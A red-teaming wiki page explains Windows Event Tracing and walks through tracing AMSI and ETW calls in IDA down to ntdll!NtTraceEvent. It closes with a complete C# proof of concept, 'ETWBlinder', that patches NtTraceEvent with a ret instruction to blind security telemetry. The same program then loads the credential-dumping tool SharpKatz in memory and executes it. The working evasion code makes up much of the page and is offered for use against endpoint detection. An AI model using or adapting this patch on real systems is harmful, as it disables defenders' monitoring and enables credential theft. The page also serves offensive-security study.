> For the complete documentation index, see [llms.txt](https://jesuscries.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jesuscries.gitbook.io/home/red-teaming/evasion/event-tracing-for-windows-etw.md).

# Event Tracing for Windows (ETW)

## Primer

According to Microsoft, Event Tracing for Windows (ETW) is a kernel-level mechanism in Windows OS that enables tracing and logging of kernel & user-application events. Whether you realize it or not, ETW is deeply integrated in the entirety of Windows Internals to detect malicious use of .NET assemblies.&#x20;

<figure><img src="/files/QTkzO4JAK8U4QXj4wLXs" alt=""><figcaption></figcaption></figure>

## Alternative ETW Patching

From an offensive perspective, we know that ETW events are sent from userland, and these ETW events are issued from within a process that we control. Just like any other security model that relies on user-application to behave correctly, this will never end up in the favor of security, which brings us to the famous one-byte patch of ETW/AMSI.

### Traditional Patching

Majority of well-known ETW patching methods from [MDSec](https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/) & [binarly.io](https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html) suggest patching `ntdll!ETWEventWrite`. This is a trendy patching technique, so we want to avoid it.

<figure><img src="/files/viunLLq2zGMSi0BNwueM" alt=""><figcaption><p><a href="https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/">https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/</a></p></figcaption></figure>

### Locating ETW Events

First, fire up IDA Pro to look for potential candidates to patch. We'll start by analyzing `amsi.dll` and look for `AmsiScanBuffer` from the Export Address Table (EAT).

<figure><img src="/files/mOnZWJ0x9SqAQmlWh0GG" alt=""><figcaption></figcaption></figure>

In one of the branches, `AmsiScanBuffer` will end up calling some dodgy looking function like `WPP_SF_qqDqq`. Looking up this term from [MSDN](https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/wpp-software-tracing) suggests that Windows Software Trace Preprocessor (WPP) is related to ETW.

<figure><img src="/files/HWXoaLy4nQEwJtzxkZbW" alt=""><figcaption></figcaption></figure>

Continue to trace the function call from WPP will soon leads us to `TraceMessage`.

<figure><img src="/files/VlFMPBGuKNj6ibP7TffR" alt=""><figcaption></figcaption></figure>

As usual, we'll try seeking help from [MSDN](https://learn.microsoft.com/en-us/windows/win32/api/evntrace/nf-evntrace-tracemessage) since we have no idea what the API mean.

<figure><img src="/files/BJ5dEun6YBGI76vS6kfq" alt=""><figcaption></figcaption></figure>

Interesting enough, `TraceMessage` is an API that belongs in `advapi32.dll`.&#x20;

<figure><img src="/files/VEjId6kaJmGMLHvsndTs" alt=""><figcaption></figcaption></figure>

Open up `advapi32.dll` in IDA and continue following the API calls until we eventually reach a syscall stub.&#x20;

```
advapi32!TraceMessage ---> ntdll!EtwTraceMessage
```

<figure><img src="/files/kRysv2jyVAaAtXPV1I5c" alt=""><figcaption></figcaption></figure>

```
ntdll!EtwTraceMessage ---> ntdll!EtwTraceMessageVa
```

<figure><img src="/files/KGehBP9OJL0sSveVmkdH" alt=""><figcaption></figcaption></figure>

```
ntdll!EtwTraceMessageVa ---> ntdll!NtTraceEvent
```

<figure><img src="/files/MdPpfWc6BcfDa71dtin9" alt=""><figcaption></figcaption></figure>

At this point onwards, `ntdll!NtTraceEvent` is the lowest level possible that we can reach from user-land before a syscall, so we will be patching this API call to neutralize ETW.

<figure><img src="/files/BVpmBna02kozFrek3BiP" alt=""><figcaption></figcaption></figure>

To verify the level of granular coverage we have by patching `NtTraceEvent`, look up the xrefs of the API. Notice how most of the caller function is associated with `EtwEventWrite` anyway, so we are better off by patching `NtTraceEvent`.

<figure><img src="/files/tZKqFQJW6UW50CS7IRcu" alt=""><figcaption></figcaption></figure>

### PoC | GTFO

<figure><img src="/files/L1Hdg8Rw8W0i3aFalf6A" alt=""><figcaption></figcaption></figure>

{% code title="ETWBlinder.cs" %}

```csharp
using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace ETWBlinder
{
    class Win32
    {
        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(
            IntPtr lpAddress,
            UIntPtr dwSize,
            MemoryProtection flNewProtect,
            out MemoryProtection lpflOldProtect);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            // get location of ntdll.dll
            var hModule = Win32.LoadLibrary("ntdll.dll");
            Console.WriteLine("\n[>] Resolving Addresses");
            Console.WriteLine("    |-> Found ntdll.dll: 0x{0:X}", hModule.ToInt64());

            // find NtTraceEvent
            var hfunction = Win32.GetProcAddress(
                hModule,
                "NtTraceEvent");
            Console.WriteLine("    |-> Found NtTraceEvent: 0x{0:X}", hfunction.ToInt64());

            // opcode for ret instruction 
            var patch = new byte[] { 0xC3 };

            // mark as RWX
            Win32.VirtualProtect(
                hfunction,
                (UIntPtr)patch.Length,
                Win32.MemoryProtection.ExecuteReadWrite,
                out var oldProtect);
            Console.WriteLine("\n[>] Patching Memory");
            Console.WriteLine("    |-> Changing Protection to RWX!");

            // write a ret
            Marshal.Copy(patch, 0, hfunction, patch.Length);
            Console.WriteLine("    |-> ETW Patched!");

            // restore memory
            Win32.VirtualProtect(
                hfunction,
                (UIntPtr)patch.Length,
                oldProtect,
                out _);
            Console.WriteLine("    |-> Restoring Protection!");

            Console.WriteLine("\n[>] Running .NET Executable...\n");

            var bytes = File.ReadAllBytes(@"C:\Users\JesusCries\Desktop\Tools\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe");

            // load the assembly
            var assembly = Assembly.Load(bytes);

            // invoke its entry point with arguments
            assembly.EntryPoint.Invoke(null, new object[] { args });
        }
    }
}

```

{% endcode %}

### Extra Notes

At the point of writing, there seems to be another NT level API that is associated to ETW as well, known as `NtTraceControl`. However, it has lesser xrefs, meaning we will have lesser coverage by patching this.&#x20;

Not to forget, most of the caller e.g. `EtwRegisterSecurityProvider` and `EtwUserDescriptorType` seems to be responsible of setting up ETW itself rather than writing ETW events, so patching this API will provide no advantage to us from an evasion perspective.

<figure><img src="/files/jTXfjRCX3N8XfPjAfFH2" alt=""><figcaption></figcaption></figure>
